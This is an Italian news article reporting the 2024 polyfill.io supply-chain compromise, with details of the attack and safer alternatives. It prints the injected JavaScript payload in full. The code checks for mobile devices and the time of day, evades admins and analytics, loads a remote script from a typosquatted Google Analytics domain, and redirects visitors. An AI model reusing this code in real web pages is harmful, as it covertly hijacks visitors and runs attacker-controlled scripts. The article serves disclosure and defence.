aldebaran33 wordpress hacking da99ac16 93c2 4d37 ad56 b8d05e0bc11a

Attacco alla Supply Chain di Polyfill: oltre 100.000 siti coinvolti

Un attacco alla supply chain ha colpito il popolare script polyfill.js, utilizzato da oltre 100.000 siti web per supportare browser più vecchi. Questo attacco ha compromesso il dominio e l’account GitHub di polyfill.io, iniettando malware nei siti che utilizzano questa libreria, colpendo utenti di alto profilo come JSTOR, Intuit e il World Economic Forum.

Annuncio

Dettagli dell’Attacco

Nel febbraio di quest’anno, una compagnia cinese ha acquistato il dominio cdn.polyfill.io e l’account GitHub associato. Da allora, il dominio è stato utilizzato per distribuire malware sui dispositivi mobili attraverso qualsiasi sito che integra cdn.polyfill.io. Gli utenti mobili venivano reindirizzati a un sito di scommesse sportive tramite un falso dominio di Google Analytics (www.googie-anaiytics.com).

AspettoDettagli
Data di InizioFebbraio 2024
Dominio Compromessocdn.polyfill.io
Utenti NotabiliJSTOR, Intuit, World Economic Forum
Metodo di InfezioneMalware iniettato dinamicamente basato su header HTTP
ReindirizzamentoSito di scommesse sportive

Meccanismo dell’Attacco

Il codice di polyfill.js è stato alterato per generare dinamicamente script malevoli basati sugli header HTTP, attivandosi su dispositivi mobili specifici a determinate ore e ignorando gli utenti amministratori o quelli monitorati da servizi di analisi web.

Esempio di Payload Malevolo

javascriptCopia codicefunction isPc() {
  try {
    var _isWin = navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac = navigator.platform == "Mac68K" || navigator.platform == "MacPPC" ||
      navigator.platform == "Macintosh" || navigator.platform == "MacIntel";
    return _isMac || _isWin;
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS("https://www.googie-anaiytics.com/html/checkcachehw.js", function () {
      if (usercache == true) {
        window.location.href = _0x5ae1f8;
      }
    });
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (_curHost.indexOf("www.dxtv1.com") !== -1 || _curHost.indexOf("www.ys752.com") !== -1) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else if (_curHost.indexOf("shuanshu.com.com") !== -1) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else if (_hours >= 0 && _hours < 2 && _rnd <= 10) {
      _redirectURL = _kuurzaBitGet;
    } else if (_hours >= 2 && _hours < 4 && _rnd <= 15) {
      _redirectURL = _kuurzaBitGet;
    } else if (_hours >= 4 && _hours < 7 && _rnd <= 20) {
      _redirectURL = _kuurzaBitGet;
    } else if (_hours >= 7 && _hours < 8 && _rnd <= 10) {
      _redirectURL = _kuurzaBitGet;
    } else if (_rnd <= 10) {
      _redirectURL = _kuurzaBitGet;
    }
    if (_redirectURL != "" && !isPc() && document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1) {
      vfed_update(_redirectURL);
    }
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

Alternative Sicure e Consigli

L’autore originale di Polyfill raccomanda di non utilizzare più Polyfill, poiché i browser moderni non ne hanno bisogno. Tuttavia, se è ancora necessario, sia Fastly che Cloudflare offrono alternative sicure.

🔴 OSSERVATORIO INTELLIGENCE: LIVE

Annuncio

Atlante Cyber

Questo incidente evidenzia l’importanza di monitorare attentamente le dipendenze del software e utilizzare servizi di scansione e monitoraggio, come quelli offerti da Sansec, per proteggere le infrastrutture web dagli attacchi alla supply chain.

Iscriviti alla Newsletter

Non perdere le analisi settimanali: Entra nella Matrice Digitale.

Matrice Digitale partecipa al Programma Affiliazione Amazon EU. In qualità di Affiliato Amazon, ricevo un guadagno dagli acquisti idonei. Questo non influenza i prezzi per te.

Torna in alto